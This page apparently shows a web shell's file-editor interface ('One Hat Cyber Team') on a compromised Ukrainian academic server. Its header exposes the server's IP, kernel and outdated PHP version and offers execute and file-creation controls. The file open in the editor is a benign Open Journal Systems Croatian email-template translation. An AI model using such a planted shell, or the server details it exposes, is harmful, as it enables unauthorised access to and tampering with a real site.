One Hat Cyber Team
Your IP :
216.73.216.115
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
ojs-nosc
/
locale
/
hr
/
Edit File:
emails.po
# Petra Cacic <petracacic3@gmail.com>, 2025. msgid "" msgstr "" "Project-Id-Version: \n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-12-02T16:17:19-08:00\n" "PO-Revision-Date: 2025-05-21 16:34+0000\n" "Last-Translator: Petra Cacic <petracacic3@gmail.com>\n" "Language-Team: Croatian <http://translate.pkp.sfu.ca/projects/ojs/emails/hr/>" "\n" "Language: hr\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=3; plural=n%10==1 && n%100!=11 ? 0 : n%10>=2 && " "n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2;\n" "X-Generator: Weblate 4.18.2\n" msgid "emails.passwordResetConfirm.subject" msgstr "Potvrda o promjeni lozinke" msgid "emails.passwordResetConfirm.body" msgstr "" "Zaprimili smo vaš zahtjev za promjenu lozinke za mrežnu stranicu " "{$siteTitle}.<br />\n" "<br />\n" "U slučaju da takav zahtjev niste poslali, molimo vas da ignorirate ovu e-" "poštu i vaša će lozinka ostati nepromijenjena. U slučaju da želite " "promijeniti lozinku, molimo vas da kliknete na dolje priloženu poveznicu." "<br />\n" "<br />\n" "Promjena lozinke: {$passwordResetUrl}<br />\n" "<br />\n" "{$siteContactName}" msgid "emails.userRegister.subject" msgstr "Registracija novog korisnika" msgid "emails.userRegister.body" msgstr "" "{$recipientName}<br />\n" "<br />\n" "Sada ste registrirani kao korisnik u {$contextName}. U ovom e-mailu su " "uključeni vaš korisnički račun i lozinka, koji su potrebni za sav rad s ovim " "časopisom putem njegove web stranice. U bilo kojem trenutku možete zatražiti " "uklanjanje s popisa korisnika časopisa kontaktirajući me.<br />\n" "<br />\n" "Korisničko ime: {$recipientUsername}<br />\n" "Lozinka: {$password}<br />\n" "<br />\n" "Hvala vam,<br />\n" "{$signature}" msgid "emails.userValidateContext.subject" msgstr "Potvrdite svoj račun" msgid "emails.userValidateContext.body" msgstr "" "{$recipientName}<br />\n" "<br />\n" "Hvala vam što ste kreirali korisnički račun pri časopisu {$contextName}. No, " "prije nego aktiviramo vaš račun trebate učiniti još jedan korak, a to je " "potvrda vaše adrese e-pošte. To ćete učiniti jednostavno tako što ćete " "slijediti poveznicu priloženu ovoj poruci:<br />\n" "<br />\n" "{$activateUrl}<br />\n" "<br />\n" "Srdačno,<br />\n" "{$contextSignature}" msgid "emails.userValidateSite.subject" msgstr "Potvrdite svoj račun" msgid "emails.userValidateSite.body" msgstr "" "{$recipientName}<br />\n" "<br />\n" "Kreirali ste račun na {$siteTitle}, ali prije nego što ga počnete koristiti, " "potrebno je potvrditi vašu adresu e-pošte. Da biste to učinili, jednostavno " "slijedite poveznicu u nastavku:<br />\n" "<br />\n" "{$activateUrl}<br />\n" "<br />\n" "Hvala vam,<br />\n" "{$siteSignature}" msgid "emails.reviewerRegister.subject" msgstr "Registrirani ste kao recenzent časopisa {$contextName}" msgid "emails.reviewerRegister.body" msgstr "" "<p>Dear {$recipientName},</p><p>Imajući u vidu vaše područje ekspertize, " "odlučili smo registrirati vas u bazu recenzenata časopisa {$contextName}. " "Ovo vas ne obvezuje ni na koji način, već samo omogućava uredništvu da vas " "kontaktira sa informacijama o prilozima koje biste potencijalno mogli " "recenzirati. Po zaprimljenom pozivu za recenziju, bit ćete u mogućnosti " "pregledati naslov i sažetak konkretnog rada čiju recenziju predlažemo, te " "ćete uvijek biti u mogućnosti prihvatiti ili odbiti rencenzijsko zaduženje. " "Također, u bilo kojem trenutku možete zatražiti da uklonimo vaše ime iz baze " "recenzenata i zatvorimo vaš korisnički račun.</p><p>Ovdje vam prilažemo vaše " "korisničko ime i lozinku, koja vam je potrebna za rad sa časopisom kroz naš " "sustav za elektroničko uređivanje. U njemu možete i dopuniti svoje " "korisničke detalje (npr. recenzentske interese).</p><p>\n" "Korisničko ime: {$recipientUsername}<br />\n" "Lozinka: {$password}</p><p>\n" "Srdačno,</p>\n" "{$signature}" msgid "emails.issuePublishNotify.subject" msgstr "Upravo objavljeno: {$issueIdentification} časopisa {$contextName}" msgid "emails.issuePublishNotify.body" msgstr "" "<p>Poštovani/Poštovana {$recipientName},</p>\n" "<p>Sa zadovoljstvom vam najavljujemo objavu <a href=\"{$issueUrl}\"" ">{$issueIdentification}</a> časopisa {$contextName}. Pozivamo vas da " "pročitate i podijelite ovaj rad sa svojom znanstvenom zajednicom.</p>\n" "<p>Veliko hvala našim autorima, recenzentima i urednicima na njihovim " "vrijednim doprinosima, kao i našim čitateljima na kontinuiranom interesu.</p>" "\n" "<div>{$issueToc}</div>\n" "<p>Hvala vam,</p>\n" "{$signature}" msgid "emails.editorAssign.subject" msgstr "Dodijeljeni ste kao urednik za prijavu u časopisu {$contextName}" msgid "emails.editorAssign.body" msgstr "" "<p>Poštovani/a {$recipientName},</p> <p>Sljedeća prijava vam je dodijeljena " "kako biste je vodili kroz urednički proces.</p> <p><a href=\"{$submissionUrl}" "\">{$submissionTitle}</a><br />{$authors}</p> <p><b>Sažetak</b></p> " "{$submissionAbstract} <p>Ako smatrate da je prijava relevantna za " "{$contextName}, molimo vas da je proslijedite u fazu recenzije odabirom " "opcije \"Pošalji na recenziju\" te zatim dodijelite recenzente klikom na " "\"Dodaj recenzenta\".</p> <p>Ako prijava nije prikladna za ovaj časopis, " "molimo odbijte prijavu.</p> <p>Unaprijed zahvaljujemo.</p> <p>Lijep " "pozdrav,</p> {$contextSignature}" msgid "emails.editorAssignReview.body" msgstr "" "<p>Poštovani/a {$recipientName},</p> <p>Sljedeća prijava vam je dodijeljena " "kako biste vodili proces recenzije.</p> <p><a href=\"{$submissionUrl}\"" ">{$submissionTitle}</a><br />{$authors}</p> <p><b>Sažetak</b></p> " "{$submissionAbstract} <p>Molimo prijavite se na <a href=\"{$submissionUrl}\"" ">pogledajte prijavu</a> i dodijelite kvalificirane recenzente. Recenzenta " "možete dodati klikom na \"Dodaj recenzenta\".</p> <p>Unaprijed " "zahvaljujemo.</p> <p>Lijep pozdrav,</p> {$signature}" msgid "emails.editorAssignProduction.body" msgstr "" "<p>Poštovani/a {$recipientName},</p>\n" "<p>Sljedeća prijava dodijeljena vam je za vođenje kroz fazu produkcije.</p>\n" "<p><a href=\"{$submissionUrl}\">{$submissionTitle}</a><br />{$authors}</p>\n" "<p><b>Sažetak</b></p>\n" "{$submissionAbstract}\n" "<p>Molimo prijavite se na <a href=\"{$submissionUrl}\">pogledaj prijavu</a>. " "Kada datoteke budu spremne za produkciju, učitajte ih u odjeljak " "<strong>Publikacija > Prijelom</strong>. Zatim zakažite rad za objavu klikom " "na gumb <strong>Zakaži za objavu</strong>.</p>\n" "<p>Unaprijed zahvaljujemo.</p>\n" "<p>S poštovanjem,</p>\n" "{$signature}" msgid "emails.reviewRequest.subject" msgstr "Zamolba za recenziju članka" msgid "emails.reviewRequest.body" msgstr "" "<p>Poštovani/a {$recipientName},</p> <p>Vjerujem da biste bili izvrstan " "recenzent za jednu prijavu u časopisu {$contextName}. Naslov i sažetak " "prijave nalaze se u nastavku, i nadam se da ćete razmotriti mogućnost " "prihvaćanja ove važne zadaće.</p> <p>Ako ste u mogućnosti recenzirati ovu " "prijavu, recenziju je potrebno dostaviti do {$reviewDueDate}. Prijavu možete " "pregledati, učitati datoteke s recenzijom i predati svoju recenziju prijavom " "na stranicu časopisa i praćenjem koraka putem sljedeće poveznice:</p> <p><a " "href=\"{$reviewAssignmentUrl}\">{$submissionTitle}</a></p> " "<p><b>Sažetak</b></p> {$submissionAbstract} <p>Molimo vas da <a href=\"" "{$reviewAssignmentUrl}\">prihvatite ili odbijete</a> recenziju najkasnije do " "<b>{$responseDueDate}</b>.</p> <p>Slobodno me kontaktirajte ako imate bilo " "kakvih pitanja u vezi s prijavom ili postupkom recenzije.</p> <p>Zahvaljujem " "na razmatranju ovog poziva. Vaša pomoć nam je iznimno važna i cijenjena.</p> " "<p>S poštovanjem,</p> {$signature}" msgid "emails.reviewResponseOverdueAuto.subject" msgstr "Hoćete li biti u mogućnosti recenzirati ovo za nas?" msgid "emails.reviewResponseOverdueAuto.body" msgstr "" "<p>Poštovani/a {$recipientName},</p> <p>Ovaj e-mail je automatski podsjetnik " "iz časopisa {$contextName} u vezi s našim pozivom za recenziju prijave \"" "{$submissionTitle}\".</p> <p>Primili ste ovu poruku jer još nismo zaprimili " "vašu potvrdu o tome jeste li u mogućnosti prihvatiti recenziju ove prijave " "ili ne.</p> <p>Molimo vas da putem našeg sustava za upravljanje prijavama " "prihvatite ili odbijete ovaj zahtjev za recenziju.</p> <p>Ako ste u " "mogućnosti recenzirati ovu prijavu, recenziju je potrebno dostaviti do " "{$reviewDueDate}. Možete slijediti korake recenzije kako biste pregledali " "prijavu, učitali recenzentske datoteke i unijeli komentare.</p> <p><a href=\"" "{$reviewAssignmentUrl}\">{$submissionTitle}</a></p> <p><b>Sažetak</b></p> " "{$submissionAbstract} <p>Slobodno me kontaktirajte ako imate pitanja u vezi " "s prijavom ili postupkom recenzije.</p> <p>Zahvaljujemo na razmatranju ovog " "zahtjeva. Vaša pomoć je vrlo cijenjena.</p> <p>S poštovanjem,</p> " "{$contextSignature}" msgid "emails.reviewRequestSubsequent.subject" msgstr "Zahtjev za recenziju revidirane prijave" msgid "emails.reviewRequestSubsequent.body" msgstr "" "<p>Poštovani/a {$recipientName},</p> <p>Zahvaljujemo na Vašoj recenziji rada " "<a href=\"{$reviewAssignmentUrl}\">{$submissionTitle}</a>. Autori su uzeli u " "obzir povratne informacije recenzenata i sada su predali revidiranu verziju " "svoga rada. Pišem Vam kako bih Vas zamolio/la da provedete drugu rundu " "recenzije ove prijave.</p> <p>Ako ste u mogućnosti recenzirati ovu prijavu, " "recenziju je potrebno dostaviti do {$reviewDueDate}. Možete <a href=\"" "{$reviewAssignmentUrl}\">slijediti korake recenzije</a> kako biste " "pregledali prijavu, učitali datoteke s recenzijom i poslali svoje " "komentare.</p> <p><a href=\"{$reviewAssignmentUrl}\">{$submissionTitle}</a></" "p> <p><b>Sažetak</b></p> {$submissionAbstract} <p>Molimo Vas da <a href=\"" "{$reviewAssignmentUrl}\">prihvatite ili odbijete</a> recenziju najkasnije do " "<b>{$responseDueDate}</b>.</p> <p>Slobodno me kontaktirajte ako imate bilo " "kakvih pitanja u vezi s prijavom ili tijekom postupka recenzije.</p> " "<p>Zahvaljujemo na razmatranju ovog zahtjeva. Vaša pomoć nam je vrlo " "cijenjena.</p> <p>S poštovanjem,</p> {$signature}" msgid "emails.reviewCancel.subject" msgstr "Povlačenje zamolbe za recenziju" msgid "emails.reviewCancel.body" msgstr "" "<p>Poštovani/a {$recipientName},</p> <p>Nedavno smo Vas zamolili da " "recenzirate prijavu za časopis {$contextName}. Odluka je donesena da se " "otkaže zahtjev za Vašu recenziju prijave \"{$submissionTitle}\".</p> " "<p>Ispričavamo se zbog eventualnih neugodnosti koje Vam je to moglo " "prouzročiti i nadamo se da ćemo u budućnosti moći računati na Vašu pomoć u " "procesu recenzije ovog časopisa.</p> <p>Ako imate bilo kakvih pitanja, " "slobodno me kontaktirajte.</p>\n" "{$signature}" msgid "emails.reviewReinstate.subject" msgstr "Možete li još uvijek recenzirati nešto za {$contextName}?" msgid "emails.reviewReinstate.body" msgstr "" "<p>Poštovani/a {$recipientName},</p> <p>Nedavno smo otkazali zahtjev za Vašu " "recenziju prijave \"{$submissionTitle}\" za časopis {$contextName}. Međutim, " "tu smo odluku povukli i nadamo se da ste i dalje u mogućnosti obaviti " "recenziju.</p> <p>Ako ste u mogućnosti pomoći s recenzijom ove prijave, " "možete se <a href=\"{$reviewAssignmentUrl}\">prijaviti na časopis</a> kako " "biste pregledali prijavu, učitali datoteke za recenziju i poslali svoj " "recenzentski izvještaj.</p> <p>Ako imate bilo kakvih pitanja, slobodno me " "kontaktirajte.</p> <p>S poštovanjem,</p> {$signature}" msgid "emails.reviewDecline.subject" msgstr "Nisam u mogućnosti izvršiti recenziju" msgid "emails.reviewDecline.body" msgstr "" "Urednici:<br />\n" "<br />\n" "Nažalost, trenutno nisam u mogućnosti recenzirati prijavu pod nazivom " "„{$submissionTitle}“ za {$contextName}. Hvala vam što ste me uzeli u obzir, " "a slobodno me kontaktirajte drugi put.<br />\n" "<br />\n" "{$senderName}" msgid "emails.reviewRemind.subject" msgstr "Podsjetnik za predaju Recenzije" msgid "emails.reviewRemind.body" msgstr "" "<p>Poštovani/a {$recipientName},</p> <p>Ovo je podsjetnik na naš zahtjev za " "Vašu recenziju prijave \"{$submissionTitle}\" za časopis {$contextName}. " "Očekivali smo da ćemo recenziju zaprimiti do {$reviewDueDate} i bili bismo " "zahvalni ako je možete dostaviti čim budete u mogućnosti.</p> <p>Možete se " "<a href=\"{$reviewAssignmentUrl}\">prijaviti na časopis</a> i slijediti " "korake recenzije kako biste pregledali prijavu, učitali datoteke i poslali " "svoje komentare.</p> <p>Ako vam je potrebno produljenje roka, molim Vas da " "me kontaktirate. Radujem se Vašem odgovoru.</p> <p>Unaprijed zahvaljujem i " "srdačan pozdrav,</p> {$signature}" msgid "emails.reviewRemindAuto.subject" msgstr "Podsjetnik da dovršite svoju recenziju" msgid "emails.reviewRemindAuto.body" msgstr "" "<p>Poštovani/a {$recipientName},</p> <p>Ovaj e-mail je automatski podsjetnik " "iz časopisa {$contextName} u vezi s našim zahtjevom za Vašu recenziju " "prijave \"{$submissionTitle}\".</p> <p>Očekivali smo da ćemo recenziju " "zaprimiti do {$reviewDueDate} i bili bismo zahvalni ako je možete dostaviti " "čim prije budete u mogućnosti.</p> <p>Molimo Vas da se <a href=\"" "{$reviewAssignmentUrl}\">prijavite u časopis</a> i slijedite korake " "recenzije kako biste pregledali prijavu, učitali recenzentske datoteke i " "poslali svoje komentare.</p> <p>Ako Vam je potrebno produljenje roka, molim " "Vas da me kontaktirate. Radujem se Vašem odgovoru.</p> <p>Unaprijed " "zahvaljujem i srdačan pozdrav,</p>\n" "{$contextSignature}" msgid "emails.editorDecisionAccept.subject" msgstr "Vaša prijava je prihvaćena u {$contextName}" msgid "emails.editorDecisionAccept.body" msgstr "" "<p>Poštovani/a {$recipientName},</p> <p>Drago mi je što Vas mogu " "obavijestiti da smo odlučili prihvatiti Vašu prijavu bez daljnjih revizija. " "Nakon pažljive recenzije, utvrdili smo da Vaša prijava, {$submissionTitle}, " "zadovoljava ili nadmašuje naša očekivanja. Veselimo se objavljivanju Vašeg " "rada u časopisu {$contextName} i zahvaljujemo što ste odabrali naš časopis " "za objavu.</p> <p>Vaša prijava će uskoro biti objavljena u jednom od budućih " "brojeva {$contextName}, te ju možete uključiti u svoj popis publikacija. " "Cijenimo sav trud uložen u svaku uspješnu prijavu i čestitamo Vam na " "dostizanju ove faze.</p> <p>Vaša prijava sada će proći kroz lekturu i " "pripremu za tisak.</p> <p>Uskoro ćete dobiti dodatne upute.</p> <p>Ako imate " "bilo kakvih pitanja, molimo kontaktirajte me putem Vašeg <a href=\"" "{$authorSubmissionUrl}\">nadzornog panela za prijave</a>.</p> <p>S " "poštovanjem,</p> {$signature}" msgid "emails.editorDecisionSkipReview.subject" msgstr "Vaša prijava je poslana na lekturu" msgid "emails.editorDecisionSkipReview.body" msgstr "" "<p>Poštovani/a {$recipientName},</p> <p>Drago mi je što Vas mogu " "obavijestiti da smo odlučili prihvatiti Vašu prijavu bez recenzije. Smatramo " "da Vaša prijava, {$submissionTitle}, zadovoljava naša očekivanja i da ovaj " "tip rada ne zahtijeva recenzentski postupak. Veselimo se objavi Vašeg rada u " "časopisu {$contextName} i zahvaljujemo što ste odabrali naš časopis za " "objavu.</p> <p>Vaša prijava će uskoro biti objavljena u jednom od budućih " "brojeva {$contextName} te ju možete uključiti u svoj popis publikacija. " "Cijenimo sav trud uložen u svaku uspješnu prijavu i čestitamo Vam na Vašem " "radu.</p> <p>Vaša prijava sada će proći kroz lekturu i pripremu za tisak.</" "p> <p>Uskoro ćete dobiti dodatne upute.</p> <p>Ako imate bilo kakvih " "pitanja, molimo kontaktirajte me putem Vašeg <a href=\"{$authorSubmissionUrl}" "\">nadzornog panela za prijave</a>.</p> <p>S poštovanjem,</p> " "<p>{$signature}</p>\n" msgid "emails.layoutRequest.subject" msgstr "Prijava {$submissionId} je spremna za produkciju u {$contextAcronym}" msgid "emails.layoutRequest.body" msgstr "" "<p>Poštovani/Poštovana {$recipientName},</p>\n" "<p>Nova prijava je spremna za uređivanje izgleda:</p>\n" "<p><a href=\"{$submissionUrl}\">{$submissionId} — {$submissionTitle}</a><br " "/>{$contextName}</p>\n" "<ol>\n" " <li>Kliknite na gornju poveznicu prijave.</li>\n" " <li>Preuzmite datoteke spremne za produkciju i koristite ih za izradu " "galleyja prema standardima časopisa.</li>\n" " <li>Prenesite galleyje u odjeljak Publikacija prijave.</li>\n" " <li>Iskoristite Rasprave o produkciji da obavijestite urednika da su " "galleyji spremni.</li>\n" "</ol>\n" "<p>Ako trenutno ne možete obaviti ovaj posao ili imate pitanja, molimo " "kontaktirajte me. Hvala vam na vašem doprinosu ovom časopisu.</p>\n" "<p>Lijep pozdrav,</p>\n" "{$signature}" msgid "emails.layoutComplete.subject" msgstr "Napravljen prijelom" msgid "emails.layoutComplete.body" msgstr "" "<p>Poštovani/Poštovana {$recipientName},</p>\n" "<p>Prijelomi su pripremljeni za sljedeću prijavu i spremni su za završnu " "recenziju.</p>\n" "<p><a href=\"{$submissionUrl}\">{$submissionTitle}</a><br " "/>{$contextName}</p>\n" "<p>Ako imate bilo kakvih pitanja, molimo kontaktirajte me.</p>\n" "<p>Lijep pozdrav,</p>\n" "<p>{$signature}</p>" msgid "emails.emailLink.subject" msgstr "Potencijalno zanimljiv članak" msgid "emails.emailLink.body" msgstr "" "Skrećem vam pozornost na članak "{$submissionTitle}" autora " "{$authors} koji je objavljen u godištu {$volume}, broju {$number} ({$year}) " "časopisa {$contextName}, a može se naći na "{$submissionUrl}"." msgid "emails.emailLink.description" msgstr "" "Ovaj obrazac e-pošte omogućuje registriranom čitatelju da šalje informaciju " "o članku nekome tko je zainteresiran. Ovaj je obrazac dostupan putem alata " "za čitanje i njegovu upotrebu mora aktivirati glavni urednik unutar postavki " "alata za čitanje među postavkama časopisa." msgid "emails.subscriptionNotify.subject" msgstr "Obavijest o pretplati" msgid "emails.subscriptionNotify.body" msgstr "" "{$recipientName}:<br />\n" "<br />\n" "Sada ste registrirani kao pretplatnik u našem online sustavu za upravljanje " "časopisima za {$contextName}, s sljedećom pretplatom:<br />\n" "<br />\n" "{$subscriptionType}<br />\n" "<br />\n" "Za pristup sadržaju koji je dostupan samo pretplatnicima, jednostavno se " "prijavite u sustav koristeći svoje korisničko ime, „{$recipientUsername}“" ".<br />\n" "<br />\n" "Nakon prijave u sustav, u bilo kojem trenutku možete promijeniti svoje " "podatke profila i lozinku.<br />\n" "<br />\n" "Imajte na umu da ako imate institucionalnu pretplatu, korisnici unutar vaše " "institucije ne moraju se prijavljivati jer će zahtjevi za sadržajem " "pretplate biti automatski potvrđeni od strane sustava.<br />\n" "<br />\n" "Ako imate bilo kakvih pitanja, slobodno me kontaktirajte.<br />\n" "<br />\n" "{$subscriptionSignature}" msgid "emails.openAccessNotify.subject" msgstr "" "Slobodno za čitanje: {$issueIdentification} časopisa {$contextName} sada je " "otvorenog pristupa" msgid "emails.openAccessNotify.body" msgstr "" "<p>Poštovani/Poštovana {$recipientName},</p>\n" "<p>Sa zadovoljstvom vas obavještavamo da je <a href=\"{$issueUrl}\"" ">{$issueIdentification}</a> časopisa {$contextName} sada dostupan u " "otvorenom pristupu. Za čitanje ovog broja više nije potrebna pretplata.</p>\n" "<p>Hvala vam na kontinuiranom interesu za naš rad.</p>\n" "{$contextSignature}" msgid "emails.subscriptionBeforeExpiry.subject" msgstr "Obavijest o isteku pretplate" msgid "emails.subscriptionBeforeExpiry.body" msgstr "" "{$recipientName}:<br />\n" "<br />\n" "Vaša pretplata za {$contextName} uskoro istječe.<br />\n" "<br />\n" "{$subscriptionType}<br />\n" "Datum isteka: {$expiryDate}<br />\n" "<br />\n" "Kako biste osigurali neprekidan pristup ovom časopisu, molimo posjetite web-" "stranicu časopisa i obnovite svoju pretplatu. Možete se prijaviti u sustav " "koristeći svoje korisničko ime, „{$recipientUsername}“.<br />\n" "<br />\n" "Ako imate bilo kakvih pitanja, slobodno me kontaktirajte.<br />\n" "<br />\n" "{$subscriptionSignature}" msgid "emails.subscriptionAfterExpiry.subject" msgstr "Vaša pretplata je istekla" msgid "emails.subscriptionAfterExpiry.body" msgstr "" "{$recipientName}:<br />\n" "<br />\n" "Vaša pretplata za {$contextName} je istekla.<br />\n" "<br />\n" "{$subscriptionType}<br />\n" "Datum isteka: {$expiryDate}<br />\n" "<br />\n" "Za obnovu pretplate, molimo posjetite web-stranicu časopisa. Možete se " "prijaviti u sustav koristeći svoje korisničko ime, „{$recipientUsername}“" ".<br />\n" "<br />\n" "Ako imate bilo kakvih pitanja, slobodno me kontaktirajte.<br />\n" "<br />\n" "{$subscriptionSignature}" msgid "emails.subscriptionAfterExpiryLast.subject" msgstr "Vaša pretplata je istekla - Posljednji podsjetnik" msgid "emails.subscriptionAfterExpiryLast.body" msgstr "" "{$recipientName}:<br />\n" "<br />\n" "Vaša pretplata za {$contextName} je istekla.<br />\n" "Imajte na umu da je ovo posljednja obavijest koja će vam biti poslana putem " "e-pošte.<br />\n" "<br />\n" "{$subscriptionType}<br />\n" "Datum isteka: {$expiryDate}<br />\n" "<br />\n" "Za obnovu pretplate, molimo posjetite web-stranicu časopisa. Možete se " "prijaviti u sustav koristeći svoje korisničko ime, „{$recipientUsername}“" ".<br />\n" "<br />\n" "Ako imate bilo kakvih pitanja, slobodno me kontaktirajte.<br />\n" "<br />\n" "{$subscriptionSignature}" msgid "emails.subscriptionPurchaseIndl.subject" msgstr "Kupnja pretplate: Pojedinačna" msgid "emails.subscriptionPurchaseIndl.body" msgstr "" "Pojedinačna pretplata je kupljena online za časopis {$contextName} sa " "sljedećim podacima.<br />\n" "<br />\n" "Vrsta pretplate:<br />\n" "{$subscriptionType}<br />\n" "<br />\n" "Korisnik:<br />\n" "{$subscriberDetails}<br />\n" "<br />\n" "Podaci o članstvu (ako su navedeni):<br />\n" "{$membership}<br />\n" "<br />\n" "Za pregled ili uređivanje ove pretplate, molimo koristite sljedeći URL.<br />" "\n" "<br />\n" "URL pretplate: {$subscriptionUrl}<br />\n" msgid "emails.subscriptionPurchaseInstl.subject" msgstr "Kupnja pretplate: Institucionalna" msgid "emails.subscriptionPurchaseInstl.body" msgstr "" "Institucionalna pretplata je kupljena putem interneta za časopis " "{$contextName} s sljedećim podacima. Da biste aktivirali ovu pretplatu, " "upotrijebite priloženi URL pretplate i postavite status pretplate na " "\"Aktivno\".\n" "<br /><br />\n" "\n" "Vrsta pretplate:\n" "{$subscriptionType}\n" "<br /><br />\n" "\n" "Institucija:\n" "{$institutionName}\n" "{$institutionMailingAddress}\n" "<br /><br />\n" "\n" "Domena (ako je navedena):\n" "{$domain}\n" "<br /><br />\n" "\n" "IP rasponi (ako su navedeni):\n" "{$ipRanges}\n" "<br /><br />\n" "\n" "Kontakt osoba:\n" "{$subscriberDetails}\n" "<br /><br />\n" "\n" "Informacije o članstvu (ako su navedene):\n" "{$membership}\n" "<br /><br />\n" "\n" "Za pregled ili uređivanje ove pretplate, upotrijebite sljedeći URL:\n" "<br /><br />\n" "URL pretplate: {$subscriptionUrl}\n" msgid "emails.subscriptionRenewIndl.subject" msgstr "Obnova pretplate: Pojedinačna" msgid "emails.subscriptionRenewIndl.body" msgstr "" "Pojedinačna pretplata je obnovljena putem interneta za {$contextName} sa " "sljedećim podacima.<br />\n" "<br />\n" "Vrsta pretplate:<br />\n" "{$subscriptionType}<br />\n" "<br />\n" "Korisnik:<br />\n" "{$subscriberDetails}<br />\n" "<br />\n" "Informacije o članstvu (ako su dostupne):<br />\n" "{$membership}<br />\n" "<br />\n" "Za pregled ili uređivanje ove pretplate, molimo koristite sljedeći URL.<br />" "\n" "<br />\n" "URL pretplate: {$subscriptionUrl}<br />\n" msgid "emails.subscriptionRenewInstl.subject" msgstr "Obnova pretplate: Institucionalna" msgid "emails.subscriptionRenewInstl.body" msgstr "" "Institucionalna pretplata je obnovljena putem interneta za {$contextName} sa " "sljedećim podacima.<br />\n" "<br />\n" "Vrsta pretplate:<br />\n" "{$subscriptionType}<br />\n" "<br />\n" "Institucija:<br />\n" "{$institutionName}<br />\n" "{$institutionMailingAddress}<br />\n" "<br />\n" "Domena (ako je navedena):<br />\n" "{$domain}<br />\n" "<br />\n" "IP rasponi (ako su navedeni):<br />\n" "{$ipRanges}<br />\n" "<br />\n" "Kontakt osoba:<br />\n" "{$subscriberDetails}<br />\n" "<br />\n" "Informacije o članstvu (ako su dostupne):<br />\n" "{$membership}<br />\n" "<br />\n" "Za pregled ili uređivanje ove pretplate, molimo koristite sljedeći URL.<br />" "\n" "<br />\n" "URL pretplate: {$subscriptionUrl}<br />\n" msgid "emails.revisedVersionNotify.subject" msgstr "Prenesena revidirana verzija" msgid "emails.revisedVersionNotify.body" msgstr "" "<p>Poštovani {$recipientName},</p><p>Autor je prenio revizije za rad, " "<b>{$authorsShort} — {$submissionTitle}</b>. <p>Kao dodijeljeni urednik, " "molimo vas da se prijavite i <a href=\"{$submissionUrl}\">pogledate " "revizije</a> te donesete odluku o prihvaćanju, odbijanju ili slanju rada na " "daljnju recenziju.</p><br><br>—<br>Ovo je automatska poruka s <a href=\"" "{$contextUrl}\">{$contextName}</a>." msgid "emails.statisticsReportNotification.subject" msgstr "Uredničke aktivnosti za {$month}, {$year}" msgid "emails.statisticsReportNotification.body" msgstr "" "\n" "{$recipientName}, <br />\n" "<br />\n" "Vaše izvješće o zdravlju časopisa za {$month}, {$year} je sada dostupno. " "Ključne statistike za ovaj mjesec su ispod.<br />\n" "\n" "<ul> <li>Nove prijave ovog mjeseca: {$newSubmissions}</li> <li>Odbijene " "prijave ovog mjeseca: {$declinedSubmissions}</li> <li>Prihvaćene prijave " "ovog mjeseca: {$acceptedSubmissions}</li> <li>Ukupno prijava u sustavu: " "{$totalSubmissions}</li> </ul> Prijavite se u časopis da biste vidjeli " "detaljnije <a href=\"{$editorialStatsLink}\">uredničke trendove</a> i <a " "href=\"{$publicationStatsLink}\">statistike objavljenih članaka</a>. Cijeli " "izvještaj uredničkih trendova za ovaj mjesec je priložen.<br /> <br /> " "Srdačno,<br /> {$contextSignature}" msgid "emails.announcement.subject" msgstr "{$title}" msgid "emails.announcement.body" msgstr "" "<b>{$announcementTitle}</b><br />\n" "<br />\n" "{$announcementSummary}<br />\n" "<br />\n" "Posjetite našu web stranicu kako biste pročitali <a href=\"{$announcementUrl}" "\">cjelovitu objavu</a>." msgid "emails.paymentRequestNotification.subject" msgstr "Obavijest o zahtjevu za uplatu" msgid "emails.paymentRequestNotification.body" msgstr "" "<p>Poštovani {$recipientName},</p><p>Čestitamo na prihvaćanju vašeg rada, " "{$submissionTitle}, u {$contextName}. Sada kada je vaš rad prihvaćen, " "željeli bismo zatražiti uplatu naknade za objavu.</p><p>Ova naknada pokriva " "troškove produkcije potrebne za objavu vašeg rada. Za izvršenje uplate, " "molimo posjetite <a href=\"{$queuedPaymentUrl}\">{$queuedPaymentUrl}</a>.</" "p><p>Ako imate pitanja, molimo pogledajte naše <a href=\"" "{$submissionGuidelinesUrl}\">Smjernice za prijavu</a>.</p>" msgid "emails.paymentRequestNotification.footer" msgstr "" "<br><br>—<br>Ovo je automatizirana poruka od <a href=\"{$contextUrl}\"" ">{$contextName}</a>." #~ msgid "emails.submissionComment.subject" #~ msgstr "Komentar priloga" #~ msgid "emails.submissionComment.body" #~ msgstr "" #~ "Poštovana/i {$name},<br />\n" #~ "<br />\n" #~ "{$commentName} je upravo priložio komentar članka "{$submissionTitle}" #~ "" u časopisu {$contextName}:<br />\n" #~ "<br />\n" #~ "{$comments}<br />\n" #~ msgid "emails.submissionComment.description" #~ msgstr "" #~ "Ovaj obrazac e-pošte obavještava osobe uključene u postupak uređivanja " #~ "nekog priloga o tome da je unesen novi komentar." #~ msgid "emails.submissionDecisionReviewers.subject" #~ msgstr "Odluka o članku \"{$submissionTitle}\"" #~ msgid "emails.submissionDecisionReviewers.body" #~ msgstr "" #~ "Kao jednom od recenzenata članka "{$submissionTitle}" za " #~ "časopis {$contextName} šaljemo vam recenzije i uredničke odluke koje su " #~ "poslane autoru ovog rada. Željeli bismo vam još jednom zahvaliti na vašem " #~ "važnom doprinosu ovom postupku.<br />\n" #~ "<br />\n" #~ "Srdačno,<br />\n" #~ "{$signature}<br />\n" #~ "<br />\n" #~ "{$comments}" #~ msgid "emails.submissionDecisionReviewers.description" #~ msgstr "" #~ "Ovim se obrascem e-pošte obavještavaju recenzenti da je recenzijski " #~ "postupak završen. Poruka sadrži informacije o članku i donesenoj odluci." #, fuzzy #~ msgid "emails.layoutAck.subject" #~ msgstr "Zaprimljen prijelom" #~ msgid "emails.layoutAck.body" #~ msgstr "" #~ "Poštovana/i {$recipientName},<br />\n" #~ "<br />\n" #~ "zahvaljujem vam što ste pripremili prijelom priloga "" #~ "{$submissionTitle}" za časopis {$contextName}.<br />\n" #~ "<br />\n" #~ "Srdačno,<br />\n" #~ "{$signature}" #~ msgid 